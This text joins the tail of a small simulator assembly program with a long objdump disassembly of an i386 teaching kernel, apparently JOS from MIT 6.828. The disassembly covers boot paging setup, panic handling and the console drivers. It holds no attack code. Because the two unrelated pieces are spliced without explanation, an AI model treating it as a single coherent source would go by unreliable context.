NOP NOP NOP ; Wait for three cycles
OUT 02 ; Send data to seven-segment display
INC BL ; Make BL point to the next entry in the data table
MOV AL, [BL] ; Copy data from table to AL
CMP AL, 00 ; Check if the next entry exists
JNZ Loop
JMP Start
; --------------------------------------
END
; --------------------------------------
For more examples, select File > Open Example.
|
obj/kern/kernel: 文件格式 elf32-i386
Disassembly of section .text:
f0100000 <_start+0xeffffff4>:
.globl _start
_start = RELOC(entry)
.globl entry
entry:
movw $0x1234,0x472 # warm boot
f0100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh
f0100006: 00 00 add %al,(%eax)
f0100008: fe 4f 52 decb 0x52(%edi)
f010000b: e4 .byte 0xe4
f010000c <entry>:
f010000c: 66 c7 05 72 04 00 00 movw $0x1234,0x472
f0100013: 34 12
# sufficient until we set up our real page table in mem_init
# in lab 2.
# Load the physical address of entry_pgdir into cr3. entry_pgdir
# is defined in entrypgdir.c.
movl $(RELOC(entry_pgdir)), %eax
f0100015: b8 00 20 11 00 mov $0x112000,%eax
movl %eax, %cr3
f010001a: 0f 22 d8 mov %eax,%cr3
# Turn on paging.
movl %cr0, %eax
f010001d: 0f 20 c0 mov %cr0,%eax
orl $(CR0_PE|CR0_PG|CR0_WP), %eax
f0100020: 0d 01 00 01 80 or $0x80010001,%eax
movl %eax, %cr0
f0100025: 0f 22 c0 mov %eax,%cr0
# Now paging is enabled, but we're still running at a low EIP
# (why is this okay?). Jump up above KERNBASE before entering
# C code.
mov $relocated, %eax
f0100028: b8 2f 00 10 f0 mov $0xf010002f,%eax
jmp *%eax
f010002d: ff e0 jmp *%eax
f010002f <relocated>:
relocated:
# Clear the frame pointer register (EBP)
# so that once we get into debugging C code,
# stack backtraces will be terminated properly.
movl $0x0,%ebp # nuke frame pointer
f010002f: bd 00 00 00 00 mov $0x0,%ebp
# Set the stack pointer
movl $(bootstacktop),%esp
f0100034: bc 00 00 11 f0 mov $0xf0110000,%esp
# now to C code
call i386_init
f0100039: e8 68 00 00 00 call f01000a6 <i386_init>
f010003e <spin>:
# Should never get here, but in case we do, just spin.
spin: jmp spin
f010003e: eb fe jmp f010003e <spin>
f0100040 <test_backtrace>:
#include <kern/console.h>
// Test the stack backtrace function (lab 1 only)
void
test_backtrace(int x)
{
f0100040: 55 push %ebp
f0100041: 89 e5 mov %esp,%ebp
f0100043: 56 push %esi
f0100044: 53 push %ebx
f0100045: e8 72 01 00 00 call f01001bc <__x86.get_pc_thunk.bx>
f010004a: 81 c3 be 12 01 00 add $0x112be,%ebx
f0100050: 8b 75 08 mov 0x8(%ebp),%esi
cprintf("entering test_backtrace %d\n", x);
f0100053: 83 ec 08 sub $0x8,%esp
f0100056: 56 push %esi
f0100057: 8d 83 78 08 ff ff lea -0xf788(%ebx),%eax
f010005d: 50 push %eax
f010005e: e8 99 0a 00 00 call f0100afc <cprintf>
if (x > 0)
f0100063: 83 c4 10 add $0x10,%esp
f0100066: 85 f6 test %esi,%esi
f0100068: 7f 2b jg f0100095 <test_backtrace+0x55>
test_backtrace(x-1);
else
mon_backtrace(0, 0, 0);
f010006a: 83 ec 04 sub $0x4,%esp
f010006d: 6a 00 push $0x0
f010006f: 6a 00 push $0x0
f0100071: 6a 00 push $0x0
f0100073: e8 0b 08 00 00 call f0100883 <mon_backtrace>
f0100078: 83 c4 10 add $0x10,%esp
cprintf("leaving test_backtrace %d\n", x);
f010007b: 83 ec 08 sub $0x8,%esp
f010007e: 56 push %esi
f010007f: 8d 83 94 08 ff ff lea -0xf76c(%ebx),%eax
f0100085: 50 push %eax
f0100086: e8 71 0a 00 00 call f0100afc <cprintf>
}
f010008b: 83 c4 10 add $0x10,%esp
f010008e: 8d 65 f8 lea -0x8(%ebp),%esp
f0100091: 5b pop %ebx
f0100092: 5e pop %esi
f0100093: 5d pop %ebp
f0100094: c3 ret
test_backtrace(x-1);
f0100095: 83 ec 0c sub $0xc,%esp
f0100098: 8d 46 ff lea -0x1(%esi),%eax
f010009b: 50 push %eax
f010009c: e8 9f ff ff ff call f0100040 <test_backtrace>
f01000a1: 83 c4 10 add $0x10,%esp
f01000a4: eb d5 jmp f010007b <test_backtrace+0x3b>
f01000a6 <i386_init>:
void
i386_init(void)
{
f01000a6: 55 push %ebp
f01000a7: 89 e5 mov %esp,%ebp
f01000a9: 53 push %ebx
f01000aa: 83 ec 08 sub $0x8,%esp
f01000ad: e8 0a 01 00 00 call f01001bc <__x86.get_pc_thunk.bx>
f01000b2: 81 c3 56 12 01 00 add $0x11256,%ebx
extern char edata[], end[];
// Before doing anything else, complete the ELF loading process.
// Clear the uninitialized global data (BSS) section of our program.
// This ensures that all static/global variables start out zero.
memset(edata, 0, end - edata);
f01000b8: c7 c2 60 30 11 f0 mov $0xf0113060,%edx
f01000be: c7 c0 a0 36 11 f0 mov $0xf01136a0,%eax
f01000c4: 29 d0 sub %edx,%eax
f01000c6: 50 push %eax
f01000c7: 6a 00 push $0x0
f01000c9: 52 push %edx
f01000ca: e8 65 16 00 00 call f0101734 <memset>
// Initialize the console.
// Can't call cprintf until after we do this!
cons_init();
f01000cf: e8 3d 05 00 00 call f0100611 <cons_init>
cprintf("6828 decimal is %o octal!\n", 6828);
f01000d4: 83 c4 08 add $0x8,%esp
f01000d7: 68 ac 1a 00 00 push $0x1aac
f01000dc: 8d 83 af 08 ff ff lea -0xf751(%ebx),%eax
f01000e2: 50 push %eax
f01000e3: e8 14 0a 00 00 call f0100afc <cprintf>
// Test the stack backtrace function (lab 1 only)
test_backtrace(5);
f01000e8: c7 04 24 05 00 00 00 movl $0x5,(%esp)
f01000ef: e8 4c ff ff ff call f0100040 <test_backtrace>
f01000f4: 83 c4 10 add $0x10,%esp
// Drop into the kernel monitor.
while (1)
monitor(NULL);
f01000f7: 83 ec 0c sub $0xc,%esp
f01000fa: 6a 00 push $0x0
f01000fc: e8 3f 08 00 00 call f0100940 <monitor>
f0100101: 83 c4 10 add $0x10,%esp
f0100104: eb f1 jmp f01000f7 <i386_init+0x51>
f0100106 <_panic>:
* Panic is called on unresolvable fatal errors.
* It prints "panic: mesg", and then enters the kernel monitor.
*/
void
_panic(const char *file, int line, const char *fmt,...)
{
f0100106: 55 push %ebp
f0100107: 89 e5 mov %esp,%ebp
f0100109: 57 push %edi
f010010a: 56 push %esi
f010010b: 53 push %ebx
f010010c: 83 ec 0c sub $0xc,%esp
f010010f: e8 a8 00 00 00 call f01001bc <__x86.get_pc_thunk.bx>
f0100114: 81 c3 f4 11 01 00 add $0x111f4,%ebx
f010011a: 8b 7d 10 mov 0x10(%ebp),%edi
va_list ap;
if (panicstr)
f010011d: c7 c0 a4 36 11 f0 mov $0xf01136a4,%eax
f0100123: 83 38 00 cmpl $0x0,(%eax)
f0100126: 74 0f je f0100137 <_panic+0x31>
va_end(ap);
dead:
/* break into the kernel monitor */
while (1)
monitor(NULL);
f0100128: 83 ec 0c sub $0xc,%esp
f010012b: 6a 00 push $0x0
f010012d: e8 0e 08 00 00 call f0100940 <monitor>
f0100132: 83 c4 10 add $0x10,%esp
f0100135: eb f1 jmp f0100128 <_panic+0x22>
panicstr = fmt;
f0100137: 89 38 mov %edi,(%eax)
asm volatile("cli; cld");
f0100139: fa cli
f010013a: fc cld
va_start(ap, fmt);
f010013b: 8d 75 14 lea 0x14(%ebp),%esi
cprintf("kernel panic at %s:%d: ", file, line);
f010013e: 83 ec 04 sub $0x4,%esp
f0100141: ff 75 0c pushl 0xc(%ebp)
f0100144: ff 75 08 pushl 0x8(%ebp)
f0100147: 8d 83 ca 08 ff ff lea -0xf736(%ebx),%eax
f010014d: 50 push %eax
f010014e: e8 a9 09 00 00 call f0100afc <cprintf>
vcprintf(fmt, ap);
f0100153: 83 c4 08 add $0x8,%esp
f0100156: 56 push %esi
f0100157: 57 push %edi
f0100158: e8 68 09 00 00 call f0100ac5 <vcprintf>
cprintf("\n");
f010015d: 8d 83 06 09 ff ff lea -0xf6fa(%ebx),%eax
f0100163: 89 04 24 mov %eax,(%esp)
f0100166: e8 91 09 00 00 call f0100afc <cprintf>
f010016b: 83 c4 10 add $0x10,%esp
f010016e: eb b8 jmp f0100128 <_panic+0x22>
f0100170 <_warn>:
}
/* like panic, but don't */
void
_warn(const char *file, int line, const char *fmt,...)
{
f0100170: 55 push %ebp
f0100171: 89 e5 mov %esp,%ebp
f0100173: 56 push %esi
f0100174: 53 push %ebx
f0100175: e8 42 00 00 00 call f01001bc <__x86.get_pc_thunk.bx>
f010017a: 81 c3 8e 11 01 00 add $0x1118e,%ebx
va_list ap;
va_start(ap, fmt);
f0100180: 8d 75 14 lea 0x14(%ebp),%esi
cprintf("kernel warning at %s:%d: ", file, line);
f0100183: 83 ec 04 sub $0x4,%esp
f0100186: ff 75 0c pushl 0xc(%ebp)
f0100189: ff 75 08 pushl 0x8(%ebp)
f010018c: 8d 83 e2 08 ff ff lea -0xf71e(%ebx),%eax
f0100192: 50 push %eax
f0100193: e8 64 09 00 00 call f0100afc <cprintf>
vcprintf(fmt, ap);
f0100198: 83 c4 08 add $0x8,%esp
f010019b: 56 push %esi
f010019c: ff 75 10 pushl 0x10(%ebp)
f010019f: e8 21 09 00 00 call f0100ac5 <vcprintf>
cprintf("\n");
f01001a4: 8d 83 06 09 ff ff lea -0xf6fa(%ebx),%eax
f01001aa: 89 04 24 mov %eax,(%esp)
f01001ad: e8 4a 09 00 00 call f0100afc <cprintf>
va_end(ap);
}
f01001b2: 83 c4 10 add $0x10,%esp
f01001b5: 8d 65 f8 lea -0x8(%ebp),%esp
f01001b8: 5b pop %ebx
f01001b9: 5e pop %esi
f01001ba: 5d pop %ebp
f01001bb: c3 ret
f01001bc <__x86.get_pc_thunk.bx>:
f01001bc: 8b 1c 24 mov (%esp),%ebx
f01001bf: c3 ret
f01001c0 <serial_proc_data>:
static bool serial_exists;
static int
serial_proc_data(void)
{
f01001c0: 55 push %ebp
f01001c1: 89 e5 mov %esp,%ebp
static inline uint8_t
inb(int port)
{
uint8_t data;
asm volatile("inb %w1,%0" : "=a" (data) : "d" (port));
f01001c3: ba fd 03 00 00 mov $0x3fd,%edx
f01001c8: ec in (%dx),%al
if (!(inb(COM1+COM_LSR) & COM_LSR_DATA))
f01001c9: a8 01 test $0x1,%al
f01001cb: 74 0b je f01001d8 <serial_proc_data+0x18>
f01001cd: ba f8 03 00 00 mov $0x3f8,%edx
f01001d2: ec in (%dx),%al
return -1;
return inb(COM1+COM_RX);
f01001d3: 0f b6 c0 movzbl %al,%eax
}
f01001d6: 5d pop %ebp
f01001d7: c3 ret
return -1;
f01001d8: b8 ff ff ff ff mov $0xffffffff,%eax
f01001dd: eb f7 jmp f01001d6 <serial_proc_data+0x16>
f01001df <cons_intr>:
// called by device interrupt routines to feed input characters
// into the circular console input buffer.
static void
cons_intr(int (*proc)(void))
{
f01001df: 55 push %ebp
f01001e0: 89 e5 mov %esp,%ebp
f01001e2: 56 push %esi
f01001e3: 53 push %ebx
f01001e4: e8 d3 ff ff ff call f01001bc <__x86.get_pc_thunk.bx>
f01001e9: 81 c3 1f 11 01 00 add $0x1111f,%ebx
f01001ef: 89 c6 mov %eax,%esi
int c;
while ((c = (*proc)()) != -1) {
f01001f1: ff d6 call *%esi
f01001f3: 83 f8 ff cmp $0xffffffff,%eax
f01001f6: 74 2e je f0100226 <cons_intr+0x47>
if (c == 0)
f01001f8: 85 c0 test %eax,%eax
f01001fa: 74 f5 je f01001f1 <cons_intr+0x12>
continue;
cons.buf[cons.wpos++] = c;
f01001fc: 8b 8b 7c 1f 00 00 mov 0x1f7c(%ebx),%ecx
f0100202: 8d 51 01 lea 0x1(%ecx),%edx
f0100205: 89 93 7c 1f 00 00 mov %edx,0x1f7c(%ebx)
f010020b: 88 84 0b 78 1d 00 00 mov %al,0x1d78(%ebx,%ecx,1)
if (cons.wpos == CONSBUFSIZE)
f0100212: 81 fa 00 02 00 00 cmp $0x200,%edx
f0100218: 75 d7 jne f01001f1 <cons_intr+0x12>
cons.wpos = 0;
f010021a: c7 83 7c 1f 00 00 00 movl $0x0,0x1f7c(%ebx)
f0100221: 00 00 00
f0100224: eb cb jmp f01001f1 <cons_intr+0x12>
}
}
f0100226: 5b pop %ebx
f0100227: 5e pop %esi
f0100228: 5d pop %ebp
f0100229: c3 ret
f010022a <kbd_proc_data>:
{
f010022a: 55 push %ebp
f010022b: 89 e5 mov %esp,%ebp
f010022d: 56 push %esi
f010022e: 53 push %ebx
f010022f: e8 88 ff ff ff call f01001bc <__x86.get_pc_thunk.bx>
f0100234: 81 c3 d4 10 01 00 add $0x110d4,%ebx
f010023a: ba 64 00 00 00 mov $0x64,%edx
f010023f: ec in (%dx),%al
if ((stat & KBS_DIB) == 0)
f0100240: a8 01 test $0x1,%al
f0100242: 0f 84 06 01 00 00 je f010034e <kbd_proc_data+0x124>
if (stat & KBS_TERR)
f0100248: a8 20 test $0x20,%al
f010024a: 0f 85 05 01 00 00 jne f0100355 <kbd_proc_data+0x12b>
f0100250: ba 60 00 00 00 mov $0x60,%edx
f0100255: ec in (%dx),%al
f0100256: 89 c2 mov %eax,%edx
if (data == 0xE0) {
f0100258: 3c e0 cmp $0xe0,%al
f010025a: 0f 84 93 00 00 00 je f01002f3 <kbd_proc_data+0xc9>
} else if (data & 0x80) {
f0100260: 84 c0 test %al,%al
f0100262: 0f 88 a0 00 00 00 js f0100308 <kbd_proc_data+0xde>
} else if (shift & E0ESC) {
f0100268: 8b 8b 58 1d 00 00 mov 0x1d58(%ebx),%ecx
f010026e: f6 c1 40 test $0x40,%cl
f0100271: 74 0e je f0100281 <kbd_proc_data+0x57>
data |= 0x80;
f0100273: 83 c8 80 or $0xffffff80,%eax
f0100276: 89 c2 mov %eax,%edx
shift &= ~E0ESC;
f0100278: 83 e1 bf and $0xffffffbf,%ecx
f010027b: 89 8b 58 1d 00 00 mov %ecx,0x1d58(%ebx)
shift |= shiftcode[data];
f0100281: 0f b6 d2 movzbl %dl,%edx
f0100284: 0f b6 84 13 38 0a ff movzbl -0xf5c8(%ebx,%edx,1),%eax
f010028b: ff
f010028c: 0b 83 58 1d 00 00 or 0x1d58(%ebx),%eax
shift ^= togglecode[data];
f0100292: 0f b6 8c 13 38 09 ff movzbl -0xf6c8(%ebx,%edx,1),%ecx
f0100299: ff
f010029a: 31 c8 xor %ecx,%eax
f010029c: 89 83 58 1d 00 00 mov %eax,0x1d58(%ebx)
c = charcode[shift & (CTL | SHIFT)][data];
f01002a2: 89 c1 mov %eax,%ecx
f01002a4: 83 e1 03 and $0x3,%ecx
f01002a7: 8b 8c 8b f8 1c 00 00 mov 0x1cf8(%ebx,%ecx,4),%ecx
f01002ae: 0f b6 14 11 movzbl (%ecx,%edx,1),%edx
f01002b2: 0f b6 f2 movzbl %dl,%esi
if (shift & CAPSLOCK) {
f01002b5: a8 08 test $0x8,%al
f01002b7: 74 0d je f01002c6 <kbd_proc_data+0x9c>
if ('a' <= c && c <= 'z')
f01002b9: 89 f2 mov %esi,%edx
f01002bb: 8d 4e 9f lea -0x61(%esi),%ecx
f01002be: 83 f9 19 cmp $0x19,%ecx
f01002c1: 77 7a ja f010033d <kbd_proc_data+0x113>
c += 'A' - 'a';
f01002c3: 83 ee 20 sub $0x20,%esi
if (!(~shift & (CTL | ALT)) && c == KEY_DEL) {
f01002c6: f7 d0 not %eax
f01002c8: a8 06 test $0x6,%al
f01002ca: 75 33 jne f01002ff <kbd_proc_data+0xd5>
f01002cc: 81 fe e9 00 00 00 cmp $0xe9,%esi
f01002d2: 75 2b jne f01002ff <kbd_proc_data+0xd5>
cprintf("Rebooting!\n");
f01002d4: 83 ec 0c sub $0xc,%esp
f01002d7: 8d 83 fc 08 ff ff lea -0xf704(%ebx),%eax
f01002dd: 50 push %eax
f01002de: e8 19 08 00 00 call f0100afc <cprintf>
}
static inline void
outb(int port, uint8_t data)
{
asm volatile("outb %0,%w1" : : "a" (data), "d" (port));
f01002e3: b8 03 00 00 00 mov $0x3,%eax
f01002e8: ba 92 00 00 00 mov $0x92,%edx
f01002ed: ee out %al,(%dx)
f01002ee: 83 c4 10 add $0x10,%esp
f01002f1: eb 0c jmp f01002ff <kbd_proc_data+0xd5>
shift |= E0ESC;
f01002f3: 83 8b 58 1d 00 00 40 orl $0x40,0x1d58(%ebx)
return 0;
f01002fa: be 00 00 00 00 mov $0x0,%esi
}
f01002ff: 89 f0 mov %esi,%eax
f0100301: 8d 65 f8 lea -0x8(%ebp),%esp
f0100304: 5b pop %ebx
f0100305: 5e pop %esi
f0100306: 5d pop %ebp
f0100307: c3 ret
data = (shift & E0ESC ? data : data & 0x7F);
f0100308: 8b 8b 58 1d 00 00 mov 0x1d58(%ebx),%ecx
f010030e: 89 ce mov %ecx,%esi
f0100310: 83 e6 40 and $0x40,%esi
f0100313: 83 e0 7f and $0x7f,%eax
f0100316: 85 f6 test %esi,%esi
f0100318: 0f 44 d0 cmove %eax,%edx
shift &= ~(shiftcode[data] | E0ESC);
f010031b: 0f b6 d2 movzbl %dl,%edx
f010031e: 0f b6 84 13 38 0a ff movzbl -0xf5c8(%ebx,%edx,1),%eax
f0100325: ff
f0100326: 83 c8 40 or $0x40,%eax
f0100329: 0f b6 c0 movzbl %al,%eax
f010032c: f7 d0 not %eax
f010032e: 21 c8 and %ecx,%eax
f0100330: 89 83 58 1d 00 00 mov %eax,0x1d58(%ebx)
return 0;
f0100336: be 00 00 00 00 mov $0x0,%esi
f010033b: eb c2 jmp f01002ff <kbd_proc_data+0xd5>
else if ('A' <= c && c <= 'Z')
f010033d: 83 ea 41 sub $0x41,%edx
c += 'a' - 'A';
f0100340: 8d 4e 20 lea 0x20(%esi),%ecx
f0100343: 83 fa 1a cmp $0x1a,%edx
f0100346: 0f 42 f1 cmovb %ecx,%esi
f0100349: e9 78 ff ff ff jmp f01002c6 <kbd_proc_data+0x9c>
return -1;
f010034e: be ff ff ff ff mov $0xffffffff,%esi
f0100353: eb aa jmp f01002ff <kbd_proc_data+0xd5>
return -1;
f0100355: be ff ff ff ff mov $0xffffffff,%esi
f010035a: eb a3 jmp f01002ff <kbd_proc_data+0xd5>
f010035c <cons_putc>:
}
// output a character to the console
static void
cons_putc(int c)
{
f010035c: 55 push %ebp
f010035d: 89 e5 mov %esp,%ebp
f010035f: 57 push %edi
f0100360: 56 push %esi
f0100361: 53 push %ebx
f0100362: 83 ec 1c sub $0x1c,%esp
f0100365: e8 52 fe ff ff call f01001bc <__x86.get_pc_thunk.bx>
f010036a: 81 c3 9e 0f 01 00 add $0x10f9e,%ebx
f0100370: 89 45 e4 mov %eax,-0x1c(%ebp)
for (i = 0;
f0100373: be 00 00 00 00 mov $0x0,%esi
asm volatile("inb %w1,%0" : "=a" (data) : "d" (port));
f0100378: bf fd 03 00 00 mov $0x3fd,%edi
f010037d: b9 84 00 00 00 mov $0x84,%ecx
f0100382: eb 09 jmp f010038d <cons_putc+0x31>
f0100384: 89 ca mov %ecx,%edx
f0100386: ec in (%dx),%al
f0100387: ec in (%dx),%al
f0100388: ec in (%dx),%al
f0100389: ec in (%dx),%al
i++)
f010038a: 83 c6 01 add $0x1,%esi
f010038d: 89 fa mov %edi,%edx
f010038f: ec in (%dx),%al
!(inb(COM1 + COM_LSR) & COM_LSR_TXRDY) && i < 12800;
f0100390: a8 20 test $0x20,%al
f0100392: 75 08 jne f010039c <cons_putc+0x40>
f0100394: 81 fe ff 31 00 00 cmp $0x31ff,%esi
f010039a: 7e e8 jle f0100384 <cons_putc+0x28>
outb(COM1 + COM_TX, c);
f010039c: 8b 7d e4 mov -0x1c(%ebp),%edi
f010039f: 89 f8 mov %edi,%eax
f01003a1: 88 45 e3 mov %al,-0x1d(%ebp)
asm volatile("outb %0,%w1" : : "a" (data), "d" (port));
f01003a4: ba f8 03 00 00 mov $0x3f8,%edx
f01003a9: ee out %al,(%dx)
for (i = 0; !(inb(0x378+1) & 0x80) && i < 12800; i++)
f01003aa: be 00 00 00 00 mov $0x0,%esi
asm volatile("inb %w1,%0" : "=a" (data) : "d" (port));
f01003af: bf 79 03 00 00 mov $0x379,%edi
f01003b4: b9 84 00 00 00 mov $0x84,%ecx
f01003b9: eb 09 jmp f01003c4 <cons_putc+0x68>
f01003bb: 89 ca mov %ecx,%edx
f01003bd: ec in (%dx),%al
f01003be: ec in (%dx),%al
f01003bf: ec in (%dx),%al
f01003c0: ec in (%dx),%al
f01003c1: 83 c6 01 add $0x1,%esi
f01003c4: 89 fa mov %edi,%edx
f01003c6: ec in (%dx),%al
f01003c7: 81 fe ff 31 00 00 cmp $0x31ff,%esi
f01003cd: 7f 04 jg f01003d3 <cons_putc+0x77>
f01003cf: 84 c0 test %al,%al
f01003d1: 79 e8 jns f01003bb <cons_putc+0x5f>
asm volatile("outb %0,%w1" : : "a" (data), "d" (port));
f01003d3: ba 78 03 00 00 mov $0x378,%edx
f01003d8: 0f b6 45 e3 movzbl -0x1d(%ebp),%eax
f01003dc: ee out %al,(%dx)
f01003dd: ba 7a 03 00 00 mov $0x37a,%edx
f01003e2: b8 0d 00 00 00 mov $0xd,%eax
f01003e7: ee out %al,(%dx)
f01003e8: b8 08 00 00 00 mov $0x8,%eax
f01003ed: ee out %al,(%dx)
if (!(c & ~0xFF))
f01003ee: 8b 7d e4 mov -0x1c(%ebp),%edi
f01003f1: 89 fa mov %edi,%edx
f01003f3: 81 e2 00 ff ff ff and $0xffffff00,%edx
c |= 0x0700;
f01003f9: 89 f8 mov %edi,%eax
f01003fb: 80 cc 07 or $0x7,%ah
f01003fe: 85 d2 test %edx,%edx
f0100400: 0f 45 c7 cmovne %edi,%eax
f0100403: 89 45 e4 mov %eax,-0x1c(%ebp)
switch (c & 0xff) {
f0100406: 0f b6 c0 movzbl %al,%eax
f0100409: 83 f8 09 cmp $0x9,%eax
f010040c: 0f 84 b9 00 00 00 je f01004cb <cons_putc+0x16f>
f0100412: 83 f8 09 cmp $0x9,%eax
f0100415: 7e 74 jle f010048b <cons_putc+0x12f>
f0100417: 83 f8 0a cmp $0xa,%eax
f010041a: 0f 84 9e 00 00 00 je f01004be <cons_putc+0x162>
f0100420: 83 f8 0d cmp $0xd,%eax
f0100423: 0f 85 d9 00 00 00 jne f0100502 <cons_putc+0x1a6>
crt_pos -= (crt_pos % CRT_COLS);
f0100429: 0f b7 83 80 1f 00 00 movzwl 0x1f80(%ebx),%eax
f0100430: 69 c0 cd cc 00 00 imul $0xcccd,%eax,%eax
f0100436: c1 e8 16 shr $0x16,%eax
f0100439: 8d 04 80 lea (%eax,%eax,4),%eax
f010043c: c1 e0 04 shl $0x4,%eax
f010043f: 66 89 83 80 1f 00 00 mov %ax,0x1f80(%ebx)
if (crt_pos >= CRT_SIZE) {
f0100446: 66 81 bb 80 1f 00 00 cmpw $0x7cf,0x1f80(%ebx)
f010044d: cf 07
f010044f: 0f 87 d4 00 00 00 ja f0100529 <cons_putc+0x1cd>
outb(addr_6845, 14);
f0100455: 8b 8b 88 1f 00 00 mov 0x1f88(%ebx),%ecx
f010045b: b8 0e 00 00 00 mov $0xe,%eax
f0100460: 89 ca mov %ecx,%edx
f0100462: ee out %al,(%dx)
outb(addr_6845 + 1, crt_pos >> 8);
f0100463: 0f b7 9b 80 1f 00 00 movzwl 0x1f80(%ebx),%ebx
f010046a: 8d 71 01 lea 0x1(%ecx),%esi
f010046d: 89 d8 mov %ebx,%eax
f010046f: 66 c1 e8 08 shr $0x8,%ax
f0100473: 89 f2 mov %esi,%edx
f0100475: ee out %al,(%dx)
f0100476: b8 0f 00 00 00 mov $0xf,%eax
f010047b: 89 ca mov %ecx,%edx
f010047d: ee out %al,(%dx)
f010047e: 89 d8 mov %ebx,%eax
f0100480: 89 f2 mov %esi,%edx
f0100482: ee out %al,(%dx)
serial_putc(c);
lpt_putc(c);
cga_putc(c);
}
f0100483: 8d 65 f4 lea -0xc(%ebp),%esp
f0100486: 5b pop %ebx
f0100487: 5e pop %esi
f0100488: 5f pop %edi
f0100489: 5d pop %ebp
f010048a: c3 ret
switch (c & 0xff) {
f010048b: 83 f8 08 cmp $0x8,%eax
f010048e: 75 72 jne f0100502 <cons_putc+0x1a6>
if (crt_pos > 0) {
f0100490: 0f b7 83 80 1f 00 00 movzwl 0x1f80(%ebx),%eax
f0100497: 66 85 c0 test %ax,%ax
f010049a: 74 b9 je f0100455 <cons_putc+0xf9>
crt_pos--;
f010049c: 83 e8 01 sub $0x1,%eax
f010049f: 66 89 83 80 1f 00 00 mov %ax,0x1f80(%ebx)
crt_buf[crt_pos] = (c & ~0xff) | ' ';
f01004a6: 0f b7 c0 movzwl %ax,%eax
f01004a9: 0f b7 55 e4 movzwl -0x1c(%ebp),%edx
f01004ad: b2 00 mov $0x0,%dl
f01004af: 83 ca 20 or $0x20,%edx
f01004b2: 8b 8b 84 1f 00 00 mov 0x1f84(%ebx),%ecx
f01004b8: 66 89 14 41 mov %dx,(%ecx,%eax,2)
f01004bc: eb 88 jmp f0100446 <cons_putc+0xea>
crt_pos += CRT_COLS;
f01004be: 66 83 83 80 1f 00 00 addw $0x50,0x1f80(%ebx)
f01004c5: 50
f01004c6: e9 5e ff ff ff jmp f0100429 <cons_putc+0xcd>
cons_putc(' ');
f01004cb: b8 20 00 00 00 mov $0x20,%eax
f01004d0: e8 87 fe ff ff call f010035c <cons_putc>
cons_putc(' ');
f01004d5: b8 20 00 00 00 mov $0x20,%eax
f01004da: e8 7d fe ff ff call f010035c <cons_putc>
cons_putc(' ');
f01004df: b8 20 00 00 00 mov $0x20,%eax
f01004e4: e8 73 fe ff ff call f010035c <cons_putc>
cons_putc(' ');
f01004e9: b8 20 00 00 00 mov $0x20,%eax
f01004ee: e8 69 fe ff ff call f010035c <cons_putc>
cons_putc(' ');
f01004f3: b8 20 00 00 00 mov $0x20,%eax
f01004f8: e8 5f fe ff ff call f010035c <cons_putc>
f01004fd: e9 44 ff ff ff jmp f0100446 <cons_putc+0xea>
crt_buf[crt_pos++] = c; /* write the character */
f0100502: 0f b7 83 80 1f 00 00 movzwl 0x1f80(%ebx),%eax
f0100509: 8d 50 01 lea 0x1(%eax),%edx
f010050c: 66 89 93 80 1f 00 00 mov %dx,0x1f80(%ebx)
f0100513: 0f b7 c0 movzwl %ax,%eax
f0100516: 8b 93 84 1f 00 00 mov 0x1f84(%ebx),%edx
f010051c: 0f b7 7d e4 movzwl -0x1c(%ebp),%edi
f0100520: 66 89 3c 42 mov %di,(%edx,%eax,2)
f0100524: e9 1d ff ff ff jmp f0100446 <cons_putc+0xea>
memmove(crt_buf, crt_buf + CRT_COLS, (CRT_SIZE - CRT_COLS) * sizeof(uint16_t));
f0100529: 8b 83 84 1f 00 00 mov 0x1f84(%ebx),%eax
f010052f: 83 ec 04 sub $0x4,%esp
f0100532: 68 00 0f 00 00 push $0xf00
f0100537: 8d 90 a0 00 00 00 lea 0xa0(%eax),%edx
f010053d: 52 push %edx
f010053e: 50 push %eax
f010053f: e8 3d 12 00 00 call f0101781 <memmove>
crt_buf[i] = 0x0700 | ' ';
f0100544: 8b 93 84 1f 00 00 mov 0x1f84(%ebx),%edx
f010054a: 8d 82 00 0f 00 00 lea 0xf00(%edx),%eax
f0100550: 81 c2 a0 0f 00 00 add $0xfa0,%edx
f0100556: 83 c4 10 add $0x10,%esp
f0100559: 66 c7 00 20 07 movw $0x720,(%eax)
f010055e: 83 c0 02 add $0x2,%eax
for (i = CRT_SIZE - CRT_COLS; i < CRT_SIZE; i++)
f0100561: 39 d0 cmp %edx,%eax
f0100563: 75 f4 jne f0100559 <cons_putc+0x1fd>
crt_pos -= CRT_COLS;
f0100565: 66 83 ab 80 1f 00 00 subw $0x50,0x1f80(%ebx)
f010056c: 50
f010056d: e9 e3 fe ff ff jmp f0100455 <cons_putc+0xf9>
f0100572 <serial_intr>:
{
f0100572: e8 e7 01 00 00 call f010075e <__x86.get_pc_thunk.ax>
f0100577: 05 91 0d 01 00 add $0x10d91,%eax
if (serial_exists)
f010057c: 80 b8 8c 1f 00 00 00 cmpb $0x0,0x1f8c(%eax)
f0100583: 75 02 jne f0100587 <serial_intr+0x15>
f0100585: f3 c3 repz ret
{
f0100587: 55 push %ebp
f0100588: 89 e5 mov %esp,%ebp
f010058a: 83 ec 08 sub $0x8,%esp
cons_intr(serial_proc_data);
f010058d: 8d 80 b8 ee fe ff lea -0x11148(%eax),%eax
f0100593: e8 47 fc ff ff call f01001df <cons_intr>
}
f0100598: c9 leave
f0100599: c3 ret
f010059a <kbd_intr>:
{
f010059a: 55 push %ebp
f010059b: 89 e5 mov %esp,%ebp
f010059d: 83 ec 08 sub $0x8,%esp
f01005a0: e8 b9 01 00 00 call f010075e <__x86.get_pc_thunk.ax>
f01005a5: 05 63 0d 01 00 add $0x10d63,%eax
cons_intr(kbd_proc_data);
f01005aa: 8d 80 22 ef fe ff lea -0x110de(%eax),%eax
f01005b0: e8 2a fc ff ff call f01001df <cons_intr>
}
f01005b5: c9 leave
f01005b6: c3 ret
f01005b7 <cons_getc>:
{
f01005b7: 55 push %ebp
f01005b8: 89 e5 mov %esp,%ebp
f01005ba: 53 push %ebx
f01005bb: 83 ec 04 sub $0x4,%esp
f01005be: e8 f9 fb ff ff call f01001bc <__x86.get_pc_thunk.bx>
f01005c3: 81 c3 45 0d 01 00 add $0x10d45,%ebx
serial_intr();
f01005c9: e8 a4 ff ff ff call f0100572 <serial_intr>
kbd_intr();
f01005ce: e8 c7 ff ff ff call f010059a <kbd_intr>
if (cons.rpos != cons.wpos) {
f01005d3: 8b 93 78 1f 00 00 mov 0x1f78(%ebx),%edx
return 0;
f01005d9: b8 00 00 00 00 mov $0x0,%eax
if (cons.rpos != cons.wpos) {
f01005de: 3b 93 7c 1f 00 00 cmp 0x1f7c(%ebx),%edx
